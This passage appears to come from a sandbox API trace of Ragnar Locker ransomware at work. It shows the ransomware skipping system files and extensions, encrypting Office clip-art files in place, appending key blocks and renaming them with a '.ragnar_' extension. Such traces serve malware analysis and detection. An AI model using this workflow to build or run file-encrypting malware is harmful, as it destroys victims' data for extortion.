nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.005] GetProcessHeap () returned 0x580000 [0086.005] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.005] CloseHandle (hObject=0xf4) returned 1 [0086.006] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" [0086.006] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.ragnar_FD7BD9FC" [0086.006] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.006] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0086.006] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.006] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200377.WMF" | out: lpString1="J0200377.WMF") returned="J0200377.WMF" [0086.006] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned=".WMF" [0086.006] lstrcmpiW (lpString1="J0200377.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.006] lstrcmpiW (lpString1="J0200377.WMF", lpString2="autorun.inf") returned 1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="boot.ini") returned 1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="bootfont.bin") returned 1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="bootsect.bak") returned 1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="bootmgr") returned 1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="bootmgr.efi") returned 1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="bootmgfw.efi") returned 1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="desktop.ini") returned 1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="iconcache.db") returned 1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="ntldr") returned -1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="ntuser.dat") returned -1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="ntuser.dat.log") returned -1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="ntuser.ini") returned -1 [0086.007] lstrcmpiW (lpString1="J0200377.WMF", lpString2="thumbs.db") returned -1 [0086.007] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.007] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.007] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.007] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.007] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.007] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.007] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf")) returned 0x20 [0086.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.007] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20232) returned 1 [0086.008] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4eff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.008] GetProcessHeap () returned 0x580000 [0086.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.008] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.009] VirtualAlloc (lpAddress=0x0, dwSize=0x4f08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.009] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.009] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.010] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4f08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4f08, lpOverlapped=0x0) returned 1 [0086.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.011] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f08, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.011] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4f08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4f08, lpOverlapped=0x0) returned 1 [0086.011] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.011] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4f08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.011] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.012] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.012] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.012] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.012] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.012] GetProcessHeap () returned 0x580000 [0086.012] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.012] CloseHandle (hObject=0xf4) returned 1 [0086.012] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" [0086.012] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.ragnar_FD7BD9FC" [0086.012] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.013] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0086.013] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.013] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200383.WMF" | out: lpString1="J0200383.WMF") returned="J0200383.WMF" [0086.013] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned=".WMF" [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="autorun.inf") returned 1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="boot.ini") returned 1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="bootfont.bin") returned 1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="bootsect.bak") returned 1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="bootmgr") returned 1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="bootmgr.efi") returned 1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="bootmgfw.efi") returned 1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="desktop.ini") returned 1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="iconcache.db") returned 1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="ntldr") returned -1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="ntuser.dat") returned -1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="ntuser.dat.log") returned -1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="ntuser.ini") returned -1 [0086.013] lstrcmpiW (lpString1="J0200383.WMF", lpString2="thumbs.db") returned -1 [0086.013] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.013] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.013] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.013] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.013] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.013] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.013] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf")) returned 0x20 [0086.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.014] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21400) returned 1 [0086.014] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x538f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.015] GetProcessHeap () returned 0x580000 [0086.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.015] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.016] VirtualAlloc (lpAddress=0x0, dwSize=0x5398, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.017] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.017] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.017] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5398, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5398, lpOverlapped=0x0) returned 1 [0086.018] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.018] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5398, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.018] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5398, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5398, lpOverlapped=0x0) returned 1 [0086.018] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5398, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.018] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.019] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5398, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.019] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.019] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.019] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.019] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.019] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.019] GetProcessHeap () returned 0x580000 [0086.019] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.019] CloseHandle (hObject=0xf4) returned 1 [0086.019] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" [0086.019] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.ragnar_FD7BD9FC" [0086.019] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.020] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0086.020] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.020] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200467.WMF" | out: lpString1="J0200467.WMF") returned="J0200467.WMF" [0086.020] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned=".WMF" [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="autorun.inf") returned 1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="boot.ini") returned 1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="bootfont.bin") returned 1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="bootsect.bak") returned 1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="bootmgr") returned 1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="bootmgr.efi") returned 1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="bootmgfw.efi") returned 1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="desktop.ini") returned 1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="iconcache.db") returned 1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="ntldr") returned -1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="ntuser.dat") returned -1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="ntuser.dat.log") returned -1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="ntuser.ini") returned -1 [0086.020] lstrcmpiW (lpString1="J0200467.WMF", lpString2="thumbs.db") returned -1 [0086.020] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.020] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.020] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.020] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.020] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.021] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.021] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf")) returned 0x20 [0086.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.021] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13934) returned 1 [0086.021] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3665, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.021] GetProcessHeap () returned 0x580000 [0086.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.021] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.023] VirtualAlloc (lpAddress=0x0, dwSize=0x366e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.023] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.023] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.023] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x366e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x366e, lpOverlapped=0x0) returned 1 [0086.024] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.024] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x366e, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.024] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x366e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x366e, lpOverlapped=0x0) returned 1 [0086.024] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x366e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.024] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.024] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x366e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.025] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.025] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.025] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.025] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.025] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.025] GetProcessHeap () returned 0x580000 [0086.025] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.025] CloseHandle (hObject=0xf4) returned 1 [0086.025] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" [0086.025] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.ragnar_FD7BD9FC" [0086.025] MoveFileExW 